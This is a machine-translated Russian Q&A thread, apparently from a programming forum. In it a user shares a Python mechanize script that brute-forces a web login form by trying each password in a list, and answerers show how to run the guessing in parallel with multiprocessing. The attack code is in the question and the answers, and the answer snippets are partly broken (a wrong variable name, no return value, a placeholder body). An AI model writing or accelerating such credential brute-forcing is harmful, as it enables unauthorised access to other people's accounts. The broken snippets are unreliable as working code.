2016-09-21 1 views
-1

У меня есть скрипт, который использует форму jython для механизации и bruteforce. Это цикл for, который проверяет каждый пароль из «PassList» и запускается до тех пор, пока он не будет соответствовать текущему паролю, проверив перенаправленный URL-адрес. Как я могу реализовать многопроцессорных здесьКак использовать многопроцессорность в цикле for - python

for x in PasswordList:   
    br.form['password'] = ''.join(x) 
    print "Bruteforce in progress.. checking : ",br.form['password'] 
    response=br.submit() 

    if response.geturl()=="http://192.168.1.106/success.html": 
     #url to which the page is redirected after login 
     print "\n Correct password is ",''.join(x) 
     break 

ответ

1

Я надеюсь, что это не для вредоносных целей.

Я никогда не использовал механику python, но, видя, что у вас нет ответов, я могу поделиться тем, что знаю, и вы можете изменить его соответствующим образом.

В общем, это должна быть его собственная функция, которую вы затем называете пулом. Я не знаю о вашем объекте br, но я, вероятно, рекомендовал бы иметь много из этих объектов, чтобы предотвратить любое столкновение. (Может попробовать с такой же бр объект Тхо, изменить код соответственно)

list_of_br_and_passwords = [[br_obj,'password1'],[br_obj,'password2'] ...] 

from multiprocessing import Pool 
from multiprocessing import cpu_count 

def crackPassword(lst): 
    br_obj = lst[0] 
    password = lst[1] 
    br.form['password'] = ''.join(password) 
    print "Bruteforce in progress.. checking : ",br.form['password'] 
    response=br.submit() 

pool = Pool(cpu_count() * 2) 
crack_password = pool.map(crackPassword,list_of_br_and_passwords) 
pool.close() 

Еще раз, это не полный ответ, только общее руководство о том, как сделать многопроцессорных

+0

Я предполагаю, что это не для злонамеренных целей, я имею в виду, что он недостаточно изощрен, чтобы быть действительно эффективным, если у цели есть captcha, это не сработает. – PyNico

+0

спасибо за ответ ур. Это просто для цели ничего злонамеренного, здесь br = mechanize.Browser() – Susmith

1
from multiprocessing import Pool 

def process_bruteforce(PasswordList): 
    <process> 

if __name__ == '__main__': 
    pool = Pool(processes=4)    # process per core 
    is_connected = pool.map(process_bruteforce, PasswordList) 

Я хотел бы попробовать что-то вроде этого

+0

спасибо, позвольте мне проверить его out – Susmith